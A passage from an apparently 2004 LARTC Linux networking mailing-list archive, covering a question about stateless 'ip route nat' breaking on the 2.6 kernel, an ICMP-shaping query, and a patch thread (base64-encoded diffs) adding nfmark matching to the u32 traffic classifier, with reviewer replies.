subnet.

I am not an artist but may be this graph can illustrate my situation:

=9A =9A =9A =9A =9A =9A =9A192.168.1.0/24<..... nat =9A....>192.168.2.0/24
<192.168.1.1>-----<192.168.1.10>router<192.168.2.150>-----<192.168.2.5>
=9A =9A =9A =9A =9A =9A =9A =9A =9A =9A =9A =9Aeth0 =9A =9A =9A =9A =9A =9A=
 =9A =9Aeth1 =9A =9A =9A =9A =9A =9Ahost i want
=9A =9A =9A =9A =9A =9A =9A =9A =9A <192.168.1.17>----------nat------------=
> =9A =9Ato map
=9A =9A =9A =9A =9A =9A =9A =9A =9A dummy address


=9ASo following ip-cref written by Alexey Kuznetsov first of all I issue th=
e=20
command:

nat router # ip route add nat 192.168.1.17 via 192.168.2.5

Now my router answers ARP for 192.168.1.17 and recieves the packets for it.=
=20
Then it ever route them from eth0 to eth1 BUT it does not nat destination i=
p=20
address. Look what one can see using tcpdimp! I ping 172.16.1.17 from=20
192.168.1.1:
nat router # tcpdump -ni eth0
05:49:19.085838 arp who-has 192.168.1.17 tell 192.168.1.1
05:49:19.086938 arp reply 192.168.1.17 is-at 00:0c:29:od:85:04
05:49:19.692799 IP 192.168.1.1 > 192.168.1.17: icmp 64: echo request seq 1

AT the same time on eth1:
nat router # tcpdump -ni eth0
05:49:19.692837 IP 192.168.1.1 > 192.168.1.17: icmp 64: echo request seq 1

My route table is Ok.=20

nat router # ip route
192.168.2.0/24 dev eth1 proto kernel scope link src 192.168.2.250
192.168.1.0/24 dev eth1 proto kernel scope link src 192.168.1.10
127.0.0.0/8 via 127.0.0.1 dev lo scope link

So why the packet that should be DNATed is not and how could packet that=20
should be sent to eth0 sent to eth1?

Is there any other possibility to nat 192.168.2.5 on 192.168.1.17?

The last question what is with "IP: fast network address translation" in 2.=
6.9=20
kernel? Why it is absent?


Thank you in advance,
_____________
Peter.

P.S. I need your help to find sollution. Otherwise there is a possibility f=
or=20
my employer can dismiss me.

P.P.S. below is also my letter with the same problem. No one answered it.:(

On Tuesday 26 October 2004 20:49, =F0=C5=D4=D2 =F7=CF=CC=CB=CF=D7 =9Awrote:
> All worked with 2.4 kernel, but when I have to move to 2.6.8.1 it's not.
>
> I'm using "ip route nat 231.222.222.111 via 172.16.1.13" to substitute in=
et
> address 231.222.222.111 on 172.16.1.13 during routing. Look at the output:
> _____________
> myhost log # ip route list table local
> broadcast 127.255.255.255 dev lo =9Aproto kernel =9Ascope link =9Asrc 127=
=2E0.0.1
> local 172.16.0.1 dev eth1 =9Aproto kernel =9Ascope host =9Asrc 172.16.0.1
> broadcast 172.16.0.0 dev eth1 =9Aproto kernel =9Ascope link =9Asrc 172.16=
=2E0.1
> broadcast 231.222.222.111 dev eth0 =9Aproto kernel =9Ascope link =9Asrc
> 231.222.222.111 broadcast 231.222.222.111 dev eth0 =9Aproto kernel =9Asco=
pe
> link =9Asrc 231.222.222.111 local 231.222.222.111 dev eth0 =9Aproto kerne=
l=20
> scope host =9Asrc 231.222.222.111 broadcast 172.16.255.255 dev eth1 =9Apr=
oto
> kernel =9Ascope link =9Asrc 172.16.0.1 broadcast 127.0.0.0 dev lo =9Aprot=
o kernel
> =9Ascope link =9Asrc 127.0.0.1 nat 231.222.222.111 via 172.16.1.13 =9Asco=
pe host
> local 127.0.0.1 dev lo =9Aproto kernel =9Ascope host =9Asrc 127.0.0.1
> local 127.0.0.0/8 dev lo =9Aproto kernel =9Ascope host =9Asrc 127.0.0.1
>
> myhost log # ip rule
> 0: =9A =9A =9Afrom all lookup local
> 323: =9A =9Afrom 172.16.1.13 lookup main map-to 231.222.222.111
> 32766: =9Afrom all lookup main
> 32767: =9Afrom all lookup default
> _______________________
>
> So I'm trying to translate local address 172.16.1.13 on 231.222.222.111.
>
> And that was working under 2.4 kernel. But now I have to move to 2.6 kern=
el
> and now it's not working.
>
> I've used this commands:
> ip route add nat 231.222.222.111 via 172.16.1.13
> ip rule add prio 323 from 172.16.1.13 nat 231.222.222.111
>
> !!! To be sure that it is kernel problem I've added this two rules in my
> FORWARD chain in the very beginning: iptables -I FORWARD -s 172.16.1.13 -j
> LOG
> iptables -I FORWARD -d 231.222.222.111 -j LOG
>
> Look I have packets that should not be there:
> Oct 27 00:30:04 rcline IN=3Deth1 OUT=3Deth0 SRC=3D172.16.1.13 DST=3D64.12=
=2E161.185
> LEN=3D48 TOS=3D0x00 PREC=3D0x00 TTL=3D127 ID=3D43039 DF PROTO=3DTCP SPT=
=3D1923 DPT=3D5190
> WINDOW=3D65535 RES=3D0x00 SYN URGP=3D0 Oct 27 00:30:04 rcline IN=3Deth0 O=
UT=3Deth1
> SRC=3D83.102.131.142 DST=3D231.222.222.111 LEN=3D84 TOS=3D0x00 PREC=3D0x0=
0 TTL=3D59
> ID=3D2990 DF PROTO=3DICMP TYPE=3D8 CODE=3D0 ID=3D22310 SEQ=3D2991
>
> No substitution of niether destination, nor source adresses!!!
>
> Please help me to make this working. I've tried 2.6.9 kernel, but It seems
> there is no "IP: fast network address translation". Why. Is feature alrea=
dy
> deprecated?

From kristiadi_himawan@dtp.net.id  Tue Nov  9 10:46:55 2004
From: kristiadi_himawan@dtp.net.id (Key)
Date: Tue, 9 Nov 2004 17:46:55 +0700
Subject: [LARTC] icmp
References: <20041002051054.7568.11027.Mailman@outpost.ds9a.nl> <1096719182.415e9b4e445e3@163.10.0.84> <028e01c4bce1$ea2a9820$15a02bca@gsd03> <200410281352.08870.stef.coene@docum.org> <02d801c4bce6$6dc19680$15a02bca@gsd03>
Message-ID: <00b901c4c649$6e133000$15a02bca@gsd03>

It's possible to shape icmp protocol using htb.init script ?

From util@deuroconsult.ro  Tue Nov  9 12:27:59 2004
From: util@deuroconsult.ro (Catalin(ux aka Dino) BOIE)
Date: Tue, 9 Nov 2004 14:27:59 +0200 (EET)
Subject: [LARTC] [PATCH] [TRY2] Use nfmark as a key in u32 classifier
Message-ID: <Pine.LNX.4.61.0411091406570.20094@webhosting.rdsbv.ro>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

---1646943047-59964173-1100002178=:20094
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; format=flowed
Content-ID: <Pine.LNX.4.61.0411091418201.20094@webhosting.rdsbv.ro>

Hello!

This is the try number two.
What was changed:
- Added selectable choice in Kconfig file (thanks Jamal!)
- Don't abuse tc_u32_sel to not break backward compatibility (thanks 
Patrick!).

Stephen, do you have any comments on iproute2 part? I know it's not 
perfect but this is the best way, I think. "u32 match mark vvvv mmmm" it's 
intuitive but breaks a little the levels, "u32 mark vvvv mmmm" it's ok 
but not intuitive....
If you want I can rewrite it if you want.

Thank you for your time.

Signed-off-by: Catalin(ux aka Dino) <catab at umbrella.ro>

---
Catalin(ux aka Dino) BOIE
catab at deuroconsult.ro
http://kernel.umbrella.ro/
---1646943047-59964173-1100002178=:20094
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="net-match-nfmark-in-u32-try2.patch"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.61.0411091409380.20094@webhosting.rdsbv.ro>
Content-Description: 
Content-Disposition: ATTACHMENT; FILENAME="net-match-nfmark-in-u32-try2.patch"

LS0tIGxpbnV4Lm9yaWcvbmV0L3NjaGVkL0tjb25maWcJMjAwNC0xMC0xOSAw
MDo1NTowNi4wMDAwMDAwMDAgKzAzMDANCisrKyBsaW51eC9uZXQvc2NoZWQv
S2NvbmZpZwkyMDA0LTExLTA5IDEyOjQ3OjM2LjAwMDAwMDAwMCArMDIwMA0K
QEAgLTMzNCw2ICszMzQsMTggQEAgY29uZmlnIE5FVF9DTFNfSU5EDQogCSAg
UmVxdWlyZXMgYSBuZXcgaXByb3V0ZTINCiAJICBZb3UgTVVTVCBOT1QgdHVy
biB0aGlzIG9uIGlmIHlvdSBkb250IGhhdmUgYW4gdXBkYXRlIGlwcm91dGUy
Lg0KIA0KK2NvbmZpZyBDTFNfVTMyX01BUksNCisJYm9vbCAiVXNlIG5mbWFy
ayBhcyBhIGtleSBpbiBVMzIgY2xhc3NpZmllciINCisJZGVwZW5kcyBvbiBO
RVRfQ0xTX1UzMg0KKwloZWxwDQorCSAgVGhpcyBhbGxvd3MgeW91IHRvIG1h
dGNoIG1hcmsgaW4gYSB1MzIgZmlsdGVyLg0KKwkgIEV4YW1wbGU6DQorCSAg
dGMgZmlsdGVyIGFkZCBkZXYgZXRoMCBwcm90b2NvbCBpcCBwYXJlbnQgMTow
IHByaW8gNSB1MzIgXA0KKwkJbWF0Y2ggbWFyayAweDAwOTAgMHhmZmZmIFwN
CisJCW1hdGNoIGlwIGRzdCA0LjQuNC40IFwNCisJCWZsb3dpZCAxOjkwDQor
CSAgWW91IG11c3QgdXNlIGEgbmV3IGlwcm91dGUyIHRvIHVzZSB0aGlzIGZl
YXR1cmUuDQorDQogY29uZmlnIE5FVF9DTFNfUlNWUA0KIAl0cmlzdGF0ZSAi
U3BlY2lhbCBSU1ZQIGNsYXNzaWZpZXIiDQogCWRlcGVuZHMgb24gTkVUX0NM
UyAmJiBORVRfUU9TDQotLS0gbGludXgub3JpZy9uZXQvc2NoZWQvY2xzX3Uz
Mi5jCTIwMDQtMTAtMTkgMDA6NTM6NDUuMDAwMDAwMDAwICswMzAwDQorKysg
bGludXgvbmV0L3NjaGVkL2Nsc191MzIuYwkyMDA0LTExLTA5IDEzOjU2OjQy
LjAwMDAwMDAwMCArMDIwMA0KQEAgLTI3LDYgKzI3LDcgQEANCiAgKglKSFM6
IFdlIHNob3VsZCByZW1vdmUgdGhlIENPTkZJR19ORVRfQ0xTX0lORCBmcm9t
IGhlcmUNCiAgKglldmVudHVhbGx5IHdoZW4gdGhlIG1ldGEgbWF0Y2ggZXh0
ZW5zaW9uIGlzIG1hZGUgYXZhaWxhYmxlDQogICoNCisgKgluZm1hcmsgbWF0
Y2ggYWRkZWQgYnkgQ2F0YWxpbih1eCBha2EgRGlubykgQk9JRSA8Y2F0YWIg
YXQgdW1icmVsbGEucm8+DQogICovDQogDQogI2luY2x1ZGUgPGFzbS91YWNj
ZXNzLmg+DQpAQCAtNTcsNiArNTgsMTMgQEANCiAjaW5jbHVkZSA8bmV0L3Br
dF9zY2hlZC5oPg0KIA0KIA0KK3N0cnVjdCB0Y191MzJfbWFyaw0KK3sNCisJ
X191MzIJCXZhbDsNCisJX191MzIJCW1hc2s7DQorCV9fdTMyCQlzdWNjZXNz
Ow0KK307DQorDQogc3RydWN0IHRjX3Vfa25vZGUNCiB7DQogCXN0cnVjdCB0
Y191X2tub2RlCSpuZXh0Ow0KQEAgLTc4LDYgKzg2LDkgQEAgc3RydWN0IHRj
X3Vfa25vZGUNCiAjaWZkZWYgQ09ORklHX0NMU19VMzJfUEVSRg0KIAlzdHJ1
Y3QgdGNfdTMyX3BjbnQJKnBmOw0KICNlbmRpZg0KKyNpZmRlZiBDT05GSUdf
Q0xTX1UzMl9NQVJLDQorCXN0cnVjdCB0Y191MzJfbWFyawltYXJrOw0KKyNl
bmRpZg0KIAlzdHJ1Y3QgdGNfdTMyX3NlbAlzZWw7DQogfTsNCiANCkBAIC0x
MzksNiArMTUwLDE2IEBAIG5leHRfa25vZGU6DQogCQluLT5wZi0+cmNudCAr
PTE7DQogCQlqID0gMDsNCiAjZW5kaWYNCisNCisjaWZkZWYgQ09ORklHX0NM
U19VMzJfTUFSSw0KKwkJaWYgKChza2ItPm5mbWFyayAmIG4tPm1hcmsubWFz
aykgIT0gbi0+bWFyay52YWwpIHsNCisJCQluID0gbi0+bmV4dDsNCisJCQln
b3RvIG5leHRfa25vZGU7DQorCQl9IGVsc2Ugew0KKwkJCW4tPm1hcmsuc3Vj
Y2VzcysrOw0KKwkJfQ0KKyNlbmRpZg0KKw0KIAkJZm9yIChpID0gbi0+c2Vs
Lm5rZXlzOyBpPjA7IGktLSwga2V5KyspIHsNCiANCiAJCQlpZiAoKCoodTMy
KikocHRyK2tleS0+b2ZmKyhvZmYyJmtleS0+b2ZmbWFzaykpXmtleS0+dmFs
KSZrZXktPm1hc2spIHsNCkBAIC02MTUsNiArNjM2LDcgQEAgc3RhdGljIGlu
dCB1MzJfY2hhbmdlKHN0cnVjdCB0Y2ZfcHJvdG8gKg0KIAlzdHJ1Y3QgdGNf
dV9obm9kZSAqaHQ7DQogCXN0cnVjdCB0Y191X2tub2RlICpuOw0KIAlzdHJ1
Y3QgdGNfdTMyX3NlbCAqczsNCisJc3RydWN0IHRjX3UzMl9tYXJrICptYXJr
Ow0KIAlzdHJ1Y3QgcnRhdHRyICpvcHQgPSB0Y2FbVENBX09QVElPTlMtMV07
DQogCXN0cnVjdCBydGF0dHIgKnRiW1RDQV9VMzJfTUFYXTsNCiAJdTMyIGh0
aWQ7DQpAQCAtNzE4LDYgKzc0MCwxNiBAQCBzdGF0aWMgaW50IHUzMl9jaGFu
Z2Uoc3RydWN0IHRjZl9wcm90byAqDQogCX0NCiAJbi0+ZnNoaWZ0ID0gaTsN
CiB9DQorDQorI2lmZGVmIENPTkZJR19DTFNfVTMyX01BUksNCisJaWYgKHRi
W1RDQV9VMzJfTUFSSy0xXSA9PSAwIHx8DQorCQlSVEFfUEFZTE9BRCh0YltU
Q0FfVTMyX01BUkstMV0pIDwgc2l6ZW9mKHN0cnVjdCB0Y191MzJfbWFyaykp
DQorCQlyZXR1cm4gLUVJTlZBTDsNCisJbWFyayA9IFJUQV9EQVRBKHRiW1RD
QV9VMzJfTUFSSy0xXSk7DQorCW1lbWNweSgmbi0+bWFyaywgbWFyaywgc2l6
ZW9mKHN0cnVjdCB0Y191MzJfbWFyaykpOw0KKwluLT5tYXJrLnN1Y2Nlc3Mg
PSAwOw0KKyNlbmRpZg0KKw0KIAllcnIgPSB1MzJfc2V0X3Bhcm1zKHRwLT5x
LCBiYXNlLCBodCwgbiwgdGIsIHRjYVtUQ0FfUkFURS0xXSk7DQogCWlmIChl
cnIgPT0gMCkgew0KIAkJc3RydWN0IHRjX3Vfa25vZGUgKippbnM7DQpAQCAt
ODA1LDYgKzgzNywxMiBAQCBzdGF0aWMgaW50IHUzMl9kdW1wKHN0cnVjdCB0
Y2ZfcHJvdG8gKnRwDQogCQkJUlRBX1BVVChza2IsIFRDQV9VMzJfQ0xBU1NJ
RCwgNCwgJm4tPnJlcy5jbGFzc2lkKTsNCiAJCWlmIChuLT5odF9kb3duKQ0K
IAkJCVJUQV9QVVQoc2tiLCBUQ0FfVTMyX0xJTkssIDQsICZuLT5odF9kb3du
LT5oYW5kbGUpOw0KKw0KKyNpZmRlZiBDT05GSUdfQ0xTX1UzMl9NQVJLDQor
CQlpZiAobi0+bWFyay52YWwgfHwgbi0+bWFyay5tYXNrKQ0KKwkJCVJUQV9Q
VVQoc2tiLCBUQ0FfVTMyX01BUkssIHNpemVvZihuLT5tYXJrKSwgJm4tPm1h
cmspOw0KKyNlbmRpZg0KKw0KICNpZmRlZiBDT05GSUdfTkVUX0NMU19BQ1QN
CiAJCS8qIGFnYWluIGZvciBiYWNrd2FyZCBjb21wYXRpYmxlIG1vZGUgLSB3
ZSB3YW50DQogCQkqICB0byB3b3JrIHdpdGggYm90aCBvbGQgYW5kIG5ldyBt
b2RlcyBvZiBlbnRlcmluZw0KLS0tIGxpbnV4Lm9yaWcvaW5jbHVkZS9saW51
eC9wa3RfY2xzLmgJMjAwNC0xMC0xOSAwMDo1MzowNy4wMDAwMDAwMDAgKzAz
MDANCisrKyBsaW51eC9pbmNsdWRlL2xpbnV4L3BrdF9jbHMuaAkyMDA0LTEx
LTA5IDA5OjUwOjQ1LjAwMDAwMDAwMCArMDIwMA0KQEAgLTE5MCw2ICsxOTAs
NyBAQCBlbnVtDQogCVRDQV9VMzJfQUNULCAgIA0KIAlUQ0FfVTMyX0lOREVW
LA0KIAlUQ0FfVTMyX1BDTlQsDQorCVRDQV9VMzJfTUFSSywNCiAJX19UQ0Ff
VTMyX01BWA0KIH07DQogDQo=

---1646943047-59964173-1100002178=:20094
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="iproute2-match-mark-in-u32-try2.patch"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.61.0411091409381.20094@webhosting.rdsbv.ro>
Content-Description: 
Content-Disposition: ATTACHMENT; FILENAME="iproute2-match-mark-in-u32-try2.patch"

LS0tIGlwcm91dGUyLTIuNi45L3RjL2ZfdTMyLmMub3JpZwkyMDA0LTExLTA0
IDE1OjM4OjUzLjAwMDAwMDAwMCArMDIwMA0KKysrIGlwcm91dGUyLTIuNi45
L3RjL2ZfdTMyLmMJMjAwNC0xMS0wOSAxMzo1OTowMC4wMDAwMDAwMDAgKzAy
MDANCkBAIC03LDYgKzcsNyBAQA0KICAqCQkyIG9mIHRoZSBMaWNlbnNlLCBv
ciAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLg0KICAqDQog
ICogQXV0aG9yczoJQWxleGV5IEt1em5ldHNvdiwgPGt1em5ldEBtczIuaW5y
LmFjLnJ1Pg0KKyAqCQlNYXRjaCBtYXJrIGFkZGVkIGJ5IENhdGFsaW4odXgg
YWthIERpbm8pIEJPSUUgPGNhdGFiIGF0IHVtYnJlbGxhLnJvPiBbNSBub3Yg
MjAwNF0NCiAgKg0KICAqLw0KIA0KQEAgLTMzLDcgKzM0LDcgQEAgc3RhdGlj
IHZvaWQgZXhwbGFpbih2b2lkKQ0KIAlmcHJpbnRmKHN0ZGVyciwgIm9yICAg
ICAgICAgdTMyIGRpdmlzb3IgRElWSVNPUlxuIik7DQogCWZwcmludGYoc3Rk
ZXJyLCAiXG4iKTsNCiAJZnByaW50ZihzdGRlcnIsICJXaGVyZTogU0VMRUNU
T1IgOj0gU0FNUExFIFNBTVBMRSAuLi5cbiIpOw0KLQlmcHJpbnRmKHN0ZGVy
ciwgIiAgICAgICBTQU1QTEUgOj0geyBpcCB8IGlwNiB8IHVkcCB8IHRjcCB8
IGljbXAgfCB1ezMyfDE2fDh9IH0gU0FNUExFX0FSR1NcbiIpOw0KKwlmcHJp
bnRmKHN0ZGVyciwgIiAgICAgICBTQU1QTEUgOj0geyBpcCB8IGlwNiB8IHVk
cCB8IHRjcCB8IGljbXAgfCB1ezMyfDE2fDh9IHwgbWFyayB9IFNBTVBMRV9B
UkdTXG4iKTsNCiAJZnByaW50ZihzdGRlcnIsICIgICAgICAgRklMVEVSSUQg
Oj0gWDpZOlpcbiIpOw0KIH0NCiANCkBAIC01OTAsOSArNTkxLDQyIEBAIGRv
bmU6DQogCXJldHVybiByZXM7DQogfQ0KIA0KK3N0YXRpYyBpbnQgcGFyc2Vf
bWFyayhpbnQgKmFyZ2NfcCwgY2hhciAqKiphcmd2X3AsIHN0cnVjdCBubG1z
Z2hkciAqbikNCit7DQorCWludCByZXMgPSAtMTsNCisJaW50IGFyZ2MgPSAq
YXJnY19wOw0KKwljaGFyICoqYXJndiA9ICphcmd2X3A7DQorCXN0cnVjdCB0
Y191MzJfbWFyayBtYXJrOw0KKw0KKwlpZiAoYXJnYyA8PSAxKQ0KKwkJcmV0
dXJuIC0xOw0KKw0KKwlpZiAoZ2V0X3UzMigmbWFyay52YWwsICphcmd2LCAw
KSkgew0KKwkJZnByaW50ZihzdGRlcnIsICJJbGxlZ2FsIFwibWFya1wiIHZh
bHVlXG4iKTsNCisJCXJldHVybiAtMTsNCisJfQ0KKwlORVhUX0FSRygpOw0K
Kw0KKwlpZiAoZ2V0X3UzMigmbWFyay5tYXNrLCAqYXJndiwgMCkpIHsNCisJ
CWZwcmludGYoc3RkZXJyLCAiSWxsZWdhbCBcIm1hcmtcIiBtYXNrXG4iKTsN
CisJCXJldHVybiAtMTsNCisJfQ0KKwlORVhUX0FSRygpOw0KKw0KKwlpZiAo
KG1hcmsudmFsICYgbWFyay5tYXNrKSAhPSBtYXJrLnZhbCkgew0KKwkJZnBy
aW50ZihzdGRlcnIsICJJbGxlZ2FsIFwibWFya1wiIChpbXBvc3NpYmxlIGNv
bWJpbmF0aW9uKVxuIik7DQorCQlyZXR1cm4gLTE7DQorCX0NCiANCisJYWRk
YXR0cl9sKG4sIE1BWF9NU0csIFRDQV9VMzJfTUFSSywgJm1hcmssIHNpemVv
ZihtYXJrKSk7DQorCXJlcyA9IDA7DQorDQorCSphcmdjX3AgPSBhcmdjOw0K
KwkqYXJndl9wID0gYXJndjsNCisJcmV0dXJuIHJlczsNCit9DQogDQotc3Rh
dGljIGludCBwYXJzZV9zZWxlY3RvcihpbnQgKmFyZ2NfcCwgY2hhciAqKiph
cmd2X3AsIHN0cnVjdCB0Y191MzJfc2VsICpzZWwpDQorc3RhdGljIGludCBw
YXJzZV9zZWxlY3RvcihpbnQgKmFyZ2NfcCwgY2hhciAqKiphcmd2X3AsIHN0
cnVjdCB0Y191MzJfc2VsICpzZWwsIHN0cnVjdCBubG1zZ2hkciAqbikNCiB7
DQogCWludCBhcmdjID0gKmFyZ2NfcDsNCiAJY2hhciAqKmFyZ3YgPSAqYXJn
dl9wOw0KQEAgLTY0MSw2ICs2NzUsMTIgQEAgc3RhdGljIGludCBwYXJzZV9z
ZWxlY3RvcihpbnQgKmFyZ2NfcCwgYw0KIAkJcmVzID0gcGFyc2VfaWNtcCgm
YXJnYywgJmFyZ3YsIHNlbCk7DQogCQlnb3RvIGRvbmU7DQogCX0NCisJaWYg
KG1hdGNoZXMoKmFyZ3YsICJtYXJrIikgPT0gMCkgew0KKwkJTkVYVF9BUkco
KTsNCisJCXJlcyA9IHBhcnNlX21hcmsoJmFyZ2MsICZhcmd2LCBuKTsNCisJ
CWdvdG8gZG9uZTsNCisJfQ0KKw0KIAlyZXR1cm4gLTE7DQogDQogZG9uZToN
CkBAIC03NjAsNyArODAwLDcgQEAgc3RhdGljIGludCB1MzJfcGFyc2Vfb3B0
KHN0cnVjdCBmaWx0ZXJfdQ0KIAl3aGlsZSAoYXJnYyA+IDApIHsNCiAJCWlm
IChtYXRjaGVzKCphcmd2LCAibWF0Y2giKSA9PSAwKSB7DQogCQkJTkVYVF9B
UkcoKTsNCi0JCQlpZiAocGFyc2Vfc2VsZWN0b3IoJmFyZ2MsICZhcmd2LCAm
c2VsLnNlbCkpIHsNCisJCQlpZiAocGFyc2Vfc2VsZWN0b3IoJmFyZ2MsICZh
cmd2LCAmc2VsLnNlbCwgbikpIHsNCiAJCQkJZnByaW50ZihzdGRlcnIsICJJ
bGxlZ2FsIFwibWF0Y2hcIlxuIik7DQogCQkJCXJldHVybiAtMTsNCiAJCQl9
DQpAQCAtODM5LDcgKzg3OSw3IEBAIHN0YXRpYyBpbnQgdTMyX3BhcnNlX29w
dChzdHJ1Y3QgZmlsdGVyX3UNCiAJCQkJc3RydWN0IHRjX3UzMl9rZXkga2V5
c1s0XTsNCiAJCQl9IHNlbDI7DQogCQkJTkVYVF9BUkcoKTsNCi0JCQlpZiAo
cGFyc2Vfc2VsZWN0b3IoJmFyZ2MsICZhcmd2LCAmc2VsMi5zZWwpKSB7DQor
CQkJaWYgKHBhcnNlX3NlbGVjdG9yKCZhcmdjLCAmYXJndiwgJnNlbDIuc2Vs
LCBuKSkgew0KIAkJCQlmcHJpbnRmKHN0ZGVyciwgIklsbGVnYWwgXCJzYW1w
bGVcIlxuIik7DQogCQkJCXJldHVybiAtMTsNCiAJCQl9DQpAQCAtOTY0LDEx
ICsxMDA0LDIyIEBAIHN0YXRpYyBpbnQgdTMyX3ByaW50X29wdChzdHJ1Y3Qg
ZmlsdGVyX3UNCiAJCXBmID0gUlRBX0RBVEEodGJbVENBX1UzMl9QQ05UXSk7
DQogCX0NCiANCisJaWYgKHNlbCAmJiBzaG93X3N0YXRzICYmIE5VTEwgIT0g
cGYpDQorCQlmcHJpbnRmKGYsICIgKHJ1bGUgaGl0ICVsbHUgc3VjY2VzcyAl
bGx1KSIscGYtPnJjbnQscGYtPnJoaXQpOw0KKw0KKwlpZiAodGJbVENBX1Uz
Ml9NQVJLXSkgew0KKwkJc3RydWN0IHRjX3UzMl9tYXJrICptYXJrID0gUlRB
X0RBVEEodGJbVENBX1UzMl9NQVJLXSk7DQorCQlpZiAoUlRBX1BBWUxPQUQo
dGJbVENBX1UzMl9NQVJLXSkgPCBzaXplb2YoKm1hcmspKSB7DQorCQkJZnBy
aW50ZihmLCAiXG4gIEludmFsaWQgbWFyayAoa2VybmVsJmlwcm91dGUyIG1p
c21hdGNoKVxuIik7DQorCQl9IGVsc2Ugew0KKwkJCWZwcmludGYoZiwgIlxu
ICBtYXJrIDB4JTA0eCAweCUwNHggKHN1Y2Nlc3MgJWQpIiwNCisJCQkJbWFy
ay0+dmFsLCBtYXJrLT5tYXNrLCBtYXJrLT5zdWNjZXNzKTsNCisJCX0NCisJ
fQ0KKw0KIAlpZiAoc2VsKSB7DQogCQlpbnQgaTsNCiAJCXN0cnVjdCB0Y191
MzJfa2V5ICprZXkgPSBzZWwtPmtleXM7DQotCQlpZiAoc2hvd19zdGF0cyAm
JiBOVUxMICE9IHBmKQ0KLQkJCWZwcmludGYoZiwgIiAocnVsZSBoaXQgJWxs
dSBzdWNjZXNzICVsbHUpIixwZi0+cmNudCxwZi0+cmhpdCk7DQogCQlpZiAo
c2VsLT5ua2V5cykgew0KIAkJCWZvciAoaT0wOyBpPHNlbC0+bmtleXM7IGkr
Kywga2V5KyspIHsNCiAJCQkJZnByaW50ZihmLCAiXG4gIG1hdGNoICUwOHgv
JTA4eCBhdCAlcyVkIiwNCi0tLSBpcHJvdXRlMi0yLjYuOS9pbmNsdWRlL2xp
bnV4L3BrdF9jbHMuaC5vcmlnCTIwMDQtMTEtMDQgMTU6NDI6MjcuMDAwMDAw
MDAwICswMjAwDQorKysgaXByb3V0ZTItMi42LjkvaW5jbHVkZS9saW51eC9w
a3RfY2xzLmgJMjAwNC0xMS0wOSAxMzo1ODoxNS4wMDAwMDAwMDAgKzAyMDAN
CkBAIC0xOTAsNiArMTkwLDcgQEAgZW51bQ0KIAlUQ0FfVTMyX0FDVCwgICAN
CiAJVENBX1UzMl9JTkRFViwNCiAJVENBX1UzMl9QQ05ULA0KKwlUQ0FfVTMy
X01BUkssDQogCV9fVENBX1UzMl9NQVgNCiB9Ow0KIA0KQEAgLTIyNCw2ICsy
MjUsMTQgQEAgc3RydWN0IHRjX3UzMl9wY250DQogCV9fdTY0IHJoaXQ7DQog
CV9fdTY0IGtjbnRzWzBdOw0KIH07DQorDQorc3RydWN0IHRjX3UzMl9tYXJr
DQorew0KKwlfX3UzMgl2YWw7DQorCV9fdTMyCW1hc2s7DQorCV9fdTMyCXN1
Y2Nlc3M7DQorfTsNCisNCiAvKiBGbGFncyAqLw0KIA0KICNkZWZpbmUgVENf
VTMyX1RFUk1JTkFMCQkxDQo=

---1646943047-59964173-1100002178=:20094--

From util@deuroconsult.ro  Tue Nov  9 13:00:30 2004
From: util@deuroconsult.ro (Catalin(ux aka Dino) BOIE)
Date: Tue, 9 Nov 2004 15:00:30 +0200 (EET)
Subject: [LARTC] Re: [PATCH] [TRY2] Use nfmark as a key in u32 classifier
In-Reply-To: <1100003794.1114.61.camel@jzny.localdomain>
References: <Pine.LNX.4.61.0411091406570.20094@webhosting.rdsbv.ro>
 <1100003794.1114.61.camel@jzny.localdomain>
Message-ID: <Pine.LNX.4.61.0411091458010.20094@webhosting.rdsbv.ro>

On Tue, 9 Nov 2004, jamal wrote:

>
> Looks quiet palatable. You didnt CC Dave for inclusion

Yes, I tought that he reads evry message on netdev...
I added him, thanks.

Dave, please, include it in next release.
Thank you.

>
> cheers,
> jamal
>
> On Tue, 2004-11-09 at 07:27, Catalin(ux aka Dino) BOIE wrote:
>> Hello!
>>
>> This is the try number two.
>> What was changed:
>> - Added selectable choice in Kconfig file (thanks Jamal!)
>> - Don't abuse tc_u32_sel to not break backward compatibility (thanks
>> Patrick!).
>>
>> Stephen, do you have any comments on iproute2 part? I know it's not
>> perfect but this is the best way, I think. "u32 match mark vvvv mmmm" it's
>> intuitive but breaks a little the levels, "u32 mark vvvv mmmm" it's ok
>> but not intuitive....
>> If you want I can rewrite it if you want.
>>
>> Thank you for your time.
>>
>> Signed-off-by: Catalin(ux aka Dino) <catab at umbrella.ro>
>>
>> ---
>> Catalin(ux aka Dino) BOIE
>> catab at deuroconsult.ro
>> http://kernel.umbrella.ro/
>

---
Catalin(ux aka Dino) BOIE
catab at deuroconsult.ro
http://kernel.umbrella.ro/

From tgraf@suug.ch  Tue Nov  9 13:30:35 2004
From: tgraf@suug.ch (Thomas Graf)
Date: Tue, 9 Nov 2004 14:30:35 +0100
Subject: [LARTC] Re: [PATCH] [TRY2] Use nfmark as a key in u32 classifier
In-Reply-To: <Pine.LNX.4.61.0411091406570.20094@webhosting.rdsbv.ro>
References: <Pine.LNX.4.61.0411091406570.20094@webhosting.rdsbv.ro>
Message-ID: <20041109133035.GH31969@postel.suug.ch>

* Catalin(ux aka Dino) BOIE <Pine.LNX.4.61.0411091406570.20094@webhosting.rdsbv.ro> 2004-11-09 14:27
> This is the try number two.
> What was changed:
> - Added selectable choice in Kconfig file (thanks Jamal!)
> - Don't abuse tc_u32_sel to not break backward compatibility (thanks 
> Patrick!).

Your patchs looks fine except for missing dependcy on CONFIG_NETFILTER.
Either make CLS_U32_MARK dependant on it or #ifdef the references
to skb->nfmark.

It might be fair to tell you that this code is likely to be removed
again once we have the metadata match.

Cheers

From util@deuroconsult.ro  Tue Nov  9 13:46:21 2004
From: util@deuroconsult.ro (Catalin(ux aka Dino) BOIE)
Date: Tue, 9 Nov 2004 15:46:21 +0200 (EET)
Subject: [LARTC] Re: [PATCH] [TRY2] Use nfmark as a key in u32 classifier
In-Reply-To: <20041109133035.GH31969@postel.suug.ch>
References: <Pine.LNX.4.61.0411091406570.20094@webhosting.rdsbv.ro>
